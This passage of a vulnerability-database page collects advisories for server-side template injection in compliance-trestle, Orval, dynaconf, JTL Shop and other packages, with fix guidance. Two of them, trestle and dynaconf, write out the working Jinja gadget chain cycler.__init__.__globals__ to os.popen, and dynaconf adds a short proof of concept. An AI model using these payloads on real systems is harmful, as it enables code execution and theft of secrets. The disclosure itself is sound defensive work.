(a) render the include re-parse through jinja2.sandbox.SandboxedEnvironment, OR (b) emit the included file content as literal text (do not re-parse it as a template), OR (c) extend the {{ / }} -> [[ / ]] neutralization in ssp_io.py / docs_control_writer.py to ALL OSCAL prose / description / part-text writes, not just parameter tables. Option (a) or (b) is the durable fix; (c) is defense-in-depth.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57170"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:50:27Z",
    "nvd_published_at": "2026-08-26T05:18:11Z",
    "severity": "HIGH"
  },
  "details": "Reporter: Cavan Loughran, Celvex Group Inc.\n\nSummary\n-------\nThe fix for CVE-2026-46439 (3.12.2 / 4.0.3) removed the recursive re-render loop in trestle/core/commands/author/jinja.py render_template, but the custom include tags in trestle/core/jinja/tags.py (MDSectionInclude, MDCleanInclude) still re-parse the CONTENT of an included markdown file as a Jinja2 template via Parser(self.environment, \u003cfile text\u003e).parse() in a plain (non-sandboxed) jinja2.Environment. Because the trestle markdown writers (ssp_io.py SSPMarkdownWriter, docs_control_writer.py DocsControlWriter) write OSCAL prose / component-description fields verbatim (the {{ -\u003e [[ neutralization is applied to parameter tables only), attacker-controlled OSCAL data that flows into an included markdown file is interpreted as template code and can achieve arbitrary code execution on the runner. This is the same trust boundary and impact as CVE-2026-46439 via a sink the fix did not cover.\n\nAffected versions\n-----------------\n4.0.3 and earlier on this code path (the include tags predate and were untouched by the parent fix); the 3.12.x line likewise. Verified present in the fixed release 4.0.3 by direct source read.\n\nTechnical detail\n----------------\nSink (UNCHANGED by the parent fix), trestle/core/jinja/tags.py:\n\nMDSectionInclude.parse (the {% mdsection_include \u0027file.md\u0027 \u0027# Section\u0027 %} tag), approximately:\n  md_content, _, _ = self.environment.loader.get_source(self.environment, markdown_source.value)   # ~line 90\n  ...\n  local_parser = Parser(self.environment, md_section.content.raw_text)   # ~line 104  \u003c-- RE-PARSE\n  top_level_output = local_parser.parse()                                # ~line 105\n  return top_level_output.body                                           # ~line 106\n\nMDCleanInclude.parse (the {% md_clean_include \u0027file.md\u0027 %} tag), approximately:\n  md_content, _, _ = self.environment.loader.get_source(self.environment, markdown_source.value)   # ~line 141\n  ...\n  local_parser = Parser(self.environment, content)   # ~line 150  \u003c-- RE-PARSE\n  top_level_output = local_parser.parse()            # ~line 151\n  return top_level_output.body                       # ~line 152\n\nParser(self.environment, \u003cincluded file text\u003e).parse() compiles the included file\u0027s markdown text AS A JINJA TEMPLATE and splices the resulting AST .body directly into the host template\u0027s compilation. Any {{ ... }} / {% ... %} present in the included file is interpreted as template code, not emitted as literal text. The single-pass fix in render_template has no effect on this: the re-parse happens at compile time inside the tag, on a string the outer render loop never sees as data.\n\nEnvironment is NOT sandboxed (UNCHANGED by the fix), trestle/core/commands/author/jinja.py _create_jinja_environment:\n  return Environment(loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True)\nThis is a plain jinja2.Environment, not jinja2.sandbox.SandboxedEnvironment, so a re-parsed expression has full access to the usual Jinja SSTI gadget chain leading to OS command execution. autoescape=True HTML-escapes output but does not constrain expression evaluation, so it does not mitigate code execution.\n\nData bridge (partial neutralization only): the included markdown is, in trestle\u0027s documented workflow, produced from OSCAL by the trestle generators / writers. trestle/core/ssp_io.py SSPMarkdownWriter writes control statement prose (get_control_statement_ssp) and component implementation descriptions (prose = by_comp.description) into markdown with no Jinja-delimiter escaping. trestle/core/docs_control_writer.py DocsControlWriter writes control section prose (self._md_file.new_line(prose)) and part text raw. The maintainers DO know about the {{-in-data risk: ssp_io.py applies line.replace(\u0027{{\u0027, \u0027[[\u0027).replace(\u0027}}\u0027, \u0027]]\u0027) to neutralize delimiters, but ONLY inside the parameter-table method (_parameter_table). Control-statement prose and component description fields receive no such neutralization. So an OSCAL field such as an SSP component description, a control statement override, or a catalog part prose string that contains {{ \u003cgadget\u003e }} lands verbatim in the generated markdown, and then the include tag re-parses and executes it.\n\nWhy this is a genuine incomplete fix (not the same bug): the parent CVE-2026-46439 re-evaluation site was the recursive loop in render_template (main template output) in commands/author/jinja.py, which the fix removed. THIS variant\u0027s re-evaluation site is Parser(self.environment, ...) inside mdsection_include / md_clean_include (included file content) in core/jinja/tags.py, which the fix did NOT touch, and which runs in a plain (non-sandboxed) Environment. Same class (SSTI -\u003e RCE), same trust boundary (untrusted OSCAL data), different and still-live sink.\n\nReachability (non-destructive reasoning)\n----------------------------------------\n1. A pipeline ingests OSCAL content (component-definition, SSP, profile, or catalog) that an external or lower-trust party can influence (a component supplier, a control-narrative contributor, an upstream catalog). This is precisely the parent\u0027s accepted attacker: a malicious actor supplies crafted OSCAL content in an automated pipeline (CI/CD).\n2. The pipeline runs trestle author ssp-generate (or equivalent) which writes the OSCAL prose/description fields into markdown verbatim. A field value such as {{ cycler.__init__.__globals__[\u0027os\u0027].popen(\u0027id\u0027).read() }} survives intact (no neutralization on prose/description).\n3. The pipeline then runs trestle author jinja -i template.md.j2 ... where the template composes the document with {% md_clean_include \u0027generated_control.md\u0027 %} or {% mdsection_include \u0027generated_ssp.md\u0027 \u0027# Some Section\u0027 %} (the documented populate-content-from-other-documents pattern).\n4. The include tag re-parses the generated markdown in the non-sandboxed environment and the embedded expression executes =\u003e code runs with the privileges of the trestle process (the CI runner).\n\nNon-destructive confirmation: place a benign marker such as {{ 7*7 }} in an OSCAL prose / description field; run the generator that writes it to markdown; include that markdown with {% md_clean_include \u0027generated.md\u0027 %}; observe 49 rather than the literal {{ 7*7 }}, confirming evaluation. A malicious field would use the standard Jinja gadget chain; that is deliberately NOT included here.\n\nImpact\n------\nArbitrary code execution on the trestle process (the CI runner), under the same trust boundary that CVE-2026-46439 was assigned on (untrusted OSCAL data in an automated pipeline). Non-sandboxed environment =\u003e full RCE in a release that is patched for the parent CVE.\n\nRemediation\n-----------\n(a) render the include re-parse through jinja2.sandbox.SandboxedEnvironment, OR (b) emit the included file content as literal text (do not re-parse it as a template), OR (c) extend the {{ / }} -\u003e [[ / ]] neutralization in ssp_io.py / docs_control_writer.py to ALL OSCAL prose / description / part-text writes, not just parameter tables. Option (a) or (b) is the durable fix; (c) is defense-in-depth.",
  "id": "GHSA-mr95-65j8-9mxp",
  "modified": "2026-09-24T19:50:27Z",
  "published": "2026-09-24T19:50:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mr95-65j8-9mxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/pull/2270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/releases/tag/v3.12.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/releases/tag/v4.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Trestle SSTI in Jinja2 include tags allows arbitrary code execution (Incomplete fix of CVE-2026-46439)"
}

GHSA-P4CG-3328-RVFG

Vulnerability from github – Published: 2026-09-02 14:53 – Updated: 2026-09-02 14:53
VLAI
Summary
Orval: Import-time RCE via query-parameter default -> zod module-level template literal
Details

Summary

Orval's zod schema generation emits the query-parameter default value as a module-level template literal (export const …Default =;) without escaping ${ or the backtick. A default of the form v${<code>}w injects a live JavaScript expression evaluated when the generated zod schema module is imported, executing attacker-controlled code at import — no request or function call needed. Verified on Orval 8.19.0; survives default OpenAPI validation.

Details

export const …Default = `v${globalThis.ORVPWN()}w`;   // ${...} = arbitrary JS expression, runs at import

Malicious input: a query parameter with a default of v${<attacker JS>}w. ${...} permits any JS expression.

Note: this is one of several default-bearing positions that reach the same unescaped zod template-literal sink; a single fix (escape default values) closes all of them, and a CNA may choose to consolidate the related reports.

PoC

reproduce.sh (+ make_spec.py) attached: generates the zod schema with default validation, bundles it, imports it, and shows a marker written at import. Verified on 8.19.0.

Impact

Code execution at import in any application that imports a zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description.

Suggested fix

Emit default values via a proper string-literal encoder (JSON.stringify, or escape backtick and ${ if a template literal must be used); never interpolate a spec value into a template literal. Apply to every default position. maintainer-report.txt make_spec.py reproduce.sh

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "orval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:53:14Z",
    "nvd_published_at": "2026-08-19T18:17:25Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOrval\u0027s zod schema generation emits the **query-parameter** `default` value as a module-level template literal\n(`export const \u2026Default = `\u003cdefault\u003e`;`) without escaping `${` or the backtick. A default of the form\n`v${\u003ccode\u003e}w` injects a live JavaScript expression evaluated when the generated zod schema module is\nimported, executing attacker-controlled code at import \u2014 no request or function call needed. Verified\non Orval 8.19.0; survives default OpenAPI validation.\n\n### Details\n\n```ts\nexport const \u2026Default = `v${globalThis.ORVPWN()}w`;   // ${...} = arbitrary JS expression, runs at import\n```\n\nMalicious input: a query parameter with a `default` of `v${\u003cattacker JS\u003e}w`. `${...}` permits any JS expression.\n\nNote: this is one of several `default`-bearing positions that reach the same unescaped zod\ntemplate-literal sink; a single fix (escape `default` values) closes all of them, and a CNA may choose\nto consolidate the related reports.\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates the zod schema with default validation, bundles\nit, imports it, and shows a marker written at import. Verified on 8.19.0.\n\n### Impact\n\nCode execution at import in any application that imports a zod schema module generated from an\nattacker-controlled or attacker-influenced OpenAPI description.\n\n### Suggested fix\n\nEmit `default` values via a proper string-literal encoder (JSON.stringify, or escape backtick and `${`\nif a template literal must be used); never interpolate a spec value into a template literal. Apply to\nevery `default` position.\n[maintainer-report.txt](https://github.com/user-attachments/files/29399067/maintainer-report.txt)\n[make_spec.py](https://github.com/user-attachments/files/29399068/make_spec.py)\n[reproduce.sh](https://github.com/user-attachments/files/29399069/reproduce.sh)",
  "id": "GHSA-p4cg-3328-rvfg",
  "modified": "2026-09-02T14:53:15Z",
  "published": "2026-09-02T14:53:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-p4cg-3328-rvfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/pull/3692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v8.21.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Orval: Import-time RCE via query-parameter default -\u003e zod module-level template literal"
}

GHSA-P9R8-XJX7-V86Q

Vulnerability from github – Published: 2025-03-10 15:30 – Updated: 2025-03-11 21:30
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: from 18.12.17 before 18.12.18.  

It's a regression between 18.12.17 and 18.12.18. In case you use something like that, which is not recommended! For security, only official releases should be used.

In other words, if you use 18.12.17 you are still safe. The version 18.12.17 is not a affected. But something between 18.12.17 and 18.12.18 is.

In that case, users are recommended to upgrade to version 18.12.18, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-26865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-10T14:15:25Z",
    "severity": "LOW"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: from 18.12.17 before 18.12.18.\u00a0\u00a0\n\nIt\u0027s a regression between 18.12.17 and 18.12.18.\nIn case you use something like that, which is not recommended!\nFor security, only official releases should be used.\n\nIn other words, if you use 18.12.17 you are still safe.\nThe version 18.12.17 is not a affected.\nBut something between 18.12.17 and 18.12.18 is.\n\nIn that case, users are recommended to upgrade to version 18.12.18, which fixes the issue.",
  "id": "GHSA-p9r8-xjx7-v86q",
  "modified": "2025-03-11T21:30:33Z",
  "published": "2025-03-10T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26865"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/OFBIZ-12594"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/prb48ztk01bflyyjbl6p56wlcc1n5sz7"
    },
    {
      "type": "WEB",
      "url": "https://ofbiz.apache.org/download.html"
    },
    {
      "type": "WEB",
      "url": "https://ofbiz.apache.org/security.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/07/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PH3V-2HQ5-5QFQ

Vulnerability from github – Published: 2022-03-07 00:00 – Updated: 2025-03-26 15:32
VLAI
Summary
Code injection in RazorEngine
Details

In the IsolatedRazorEngine component of Antaris RazorEngine through 4.5.1-alpha001, an attacker can execute arbitrary .NET code in a sandboxed environment (if users can externally control template contents). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "RazorEngine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.5.1-alpha001"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-46703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-11T20:30:20Z",
    "nvd_published_at": "2022-03-06T06:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In the IsolatedRazorEngine component of Antaris RazorEngine through 4.5.1-alpha001, an attacker can execute arbitrary .NET code in a sandboxed environment (if users can externally control template contents). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
  "id": "GHSA-ph3v-2hq5-5qfq",
  "modified": "2025-03-26T15:32:24Z",
  "published": "2022-03-07T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Antaris/RazorEngine/issues/585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Antaris/RazorEngine"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code injection in RazorEngine"
}

GHSA-PVMF-8HPV-QH7R

Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32
VLAI
Details

The render-template component of ember-dynamic-render-template (addon/components/render-template.js) passes its templateString property directly into Ember/Glimmer's compileTemplate() (from @ember/template-compilation) with no sanitization, allow-listing, or validation of the input. Because compileTemplate() dynamically compiles and renders the supplied string as a live Handlebars/Glimmer template, any application that renders attacker-influenced data through this component's templateString property is exposed to client-side template injection: an attacker-controlled Handlebars expression is compiled and executed in the context of the rendering component, which can be leveraged for cross-site scripting depending on what helpers/context are exposed to the compiled template.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-71286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T13:24:53Z",
    "severity": "MODERATE"
  },
  "details": "The render-template component of ember-dynamic-render-template (addon/components/render-template.js) passes its `templateString` property directly into Ember/Glimmer\u0027s compileTemplate() (from @ember/template-compilation) with no sanitization, allow-listing, or validation of the input. Because compileTemplate() dynamically compiles and renders the supplied string as a live Handlebars/Glimmer template, any application that renders attacker-influenced data through this component\u0027s templateString property is exposed to client-side template injection: an attacker-controlled Handlebars expression is compiled and executed in the context of the rendering component, which can be leveraged for cross-site scripting depending on what helpers/context are exposed to the compiled template.",
  "id": "GHSA-pvmf-8hpv-qh7r",
  "modified": "2026-08-05T15:32:21Z",
  "published": "2026-08-05T15:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miguelcobain/ember-dynamic-render-template"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miguelcobain/ember-dynamic-render-template/blob/master/addon/components/render-template.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PXQ6-FR5M-FWH5

Vulnerability from github – Published: 2026-06-18 18:35 – Updated: 2026-06-18 18:35
VLAI
Details

JTL Shop versions 5.2.0 through 5.7.1 contains a server-side template injection vulnerability that allows unauthenticated attackers to inject malicious template syntax due to unsanitized user-supplied input passed to the Smarty template engine. Attackers can exploit this flaw to read sensitive server-side values such as database credentials and encryption keys, and on versions 5.4.0 through 5.7.1, leverage registered Smarty modifiers including unserialize and file_get_contents to write a webshell to the web root and execute arbitrary commands as the web server user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-54390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T18:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "JTL Shop versions 5.2.0 through 5.7.1 contains a server-side template injection vulnerability that allows unauthenticated attackers to inject malicious template syntax due to unsanitized user-supplied input passed to the Smarty template engine. Attackers can exploit this flaw to read sensitive server-side values such as database credentials and encryption keys, and on versions 5.4.0 through 5.7.1, leverage registered Smarty modifiers including unserialize and file_get_contents to write a webshell to the web root and execute arbitrary commands as the web server user.",
  "id": "GHSA-pxq6-fr5m-fwh5",
  "modified": "2026-06-18T18:35:25Z",
  "published": "2026-06-18T18:35:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54390"
    },
    {
      "type": "WEB",
      "url": "https://forum.jtl-software.de/threads/jtl-shop-5-7-aktuell-5-7-2.246278"
    },
    {
      "type": "WEB",
      "url": "https://sansec.io/research/jtl-shop-ssti-rce"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/jtl-shop-server-side-template-injection-via-smarty-renderer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PXRR-HQ57-Q35P

Vulnerability from github – Published: 2026-03-18 20:08 – Updated: 2026-04-14 21:59
VLAI
Summary
dynaconf Affected by Remote Code Execution (RCE) via Insecure Template Evaluation in @jinja Resolver
Details

Summary

Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.

If an attacker can influence configuration sources such as: environment variables .env files container environment configuration CI/CD secrets they can execute arbitrary OS commands on the host system. In addition, the @format resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.

Details

The vulnerability arises because Dynaconf's string resolvers lack proper security boundaries.

  1. @jinja Resolver The @jinja resolver renders templates using full Jinja2 evaluation. However, the rendering context is not sandboxed, which allows attackers to access Python's internal attributes. Using objects such as cycler, attackers can reach Python's globals and import the os module.

Example attack path cycler → init → globals → os → popen() This leads to arbitrary command execution.

  1. @format Resolver The @format resolver performs Python string formatting using internal objects. This allows attackers to traverse Python's object graph and access sensitive runtime objects. Example traversal: {this.class.init.globals[os].environ} This can expose
  2. API keys
  3. database credentials
  4. internal service tokens
  5. environment secrets

PoC

import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)

Impact

Successful exploitation allows attackers to: - Execute arbitrary OS commands on the host system - Access sensitive environment variables - Compromise application secrets - Fully compromise the running application process Because configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.

Remediation / Mitigation (Examples)

  1. Use Jinja2 sandbox for template rendering
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)```
  1. Restrict @format usage to trusted values
safe_value = "{name}".format(name=trusted_name)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "dynaconf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:08:06Z",
    "nvd_published_at": "2026-03-20T21:17:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nDynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @jinja resolver.\nWhen the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.\n\nIf an attacker can influence configuration sources such as:\nenvironment variables\n.env files\ncontainer environment configuration\nCI/CD secrets\nthey can execute arbitrary OS commands on the host system.\nIn addition, the @format resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.\n\n### Details\nThe vulnerability arises because Dynaconf\u0027s string resolvers lack proper security boundaries.\n\n1. @jinja Resolver\nThe @jinja resolver renders templates using full Jinja2 evaluation.\nHowever, the rendering context is not sandboxed, which allows attackers to access Python\u0027s internal attributes.\nUsing objects such as cycler, attackers can reach Python\u0027s __globals__ and import the os module.\n\nExample attack path\ncycler\n \u2192 __init__\n \u2192 __globals__\n \u2192 os\n \u2192 popen()\nThis leads to arbitrary command execution.\n\n2. @format Resolver\nThe @format resolver performs Python string formatting using internal objects.\nThis allows attackers to traverse Python\u0027s object graph and access sensitive runtime objects.\nExample traversal:\n{this.__class__.__init__.__globals__[os].environ}\nThis can expose\n- API keys\n- database credentials\n- internal service tokens\n- environment secrets\n\n### PoC\n```\nimport os\nfrom dynaconf import Dynaconf\n# Malicious configuration injection\nos.environ[\"DYNACONF_RCE\"] = \"@jinja {{ cycler.__init__.__globals__.os.popen(\u0027id\u0027).read() }}\"\nsettings = Dynaconf()\nprint(\"[!] Command Execution Result:\")\nprint(settings.RCE)\n```\n### Impact\nSuccessful exploitation allows attackers to:\n- Execute arbitrary OS commands on the host system\n- Access sensitive environment variables\n- Compromise application secrets\n- Fully compromise the running application process\nBecause configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.\n\n\n### Remediation / Mitigation (Examples)\n\n1. Use Jinja2 sandbox for template rendering\n```\nfrom jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\ntemplate = env.from_string(\"{{ config_value }}\")\nsafe_value = template.render(config_value=user_input)```\n```\n2. Restrict @format usage to trusted values\n```\nsafe_value = \"{name}\".format(name=trusted_name)\n```",
  "id": "GHSA-pxrr-hq57-q35p",
  "modified": "2026-04-14T21:59:25Z",
  "published": "2026-03-18T20:08:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynaconf/dynaconf/commit/2fbb45ee36b8c0caa5b924fe19f3c1a5e8603fa7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dynaconf/dynaconf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynaconf/dynaconf/releases/tag/3.2.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dynaconf Affected by Remote Code Execution (RCE) via Insecure Template Evaluation in @jinja Resolver"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.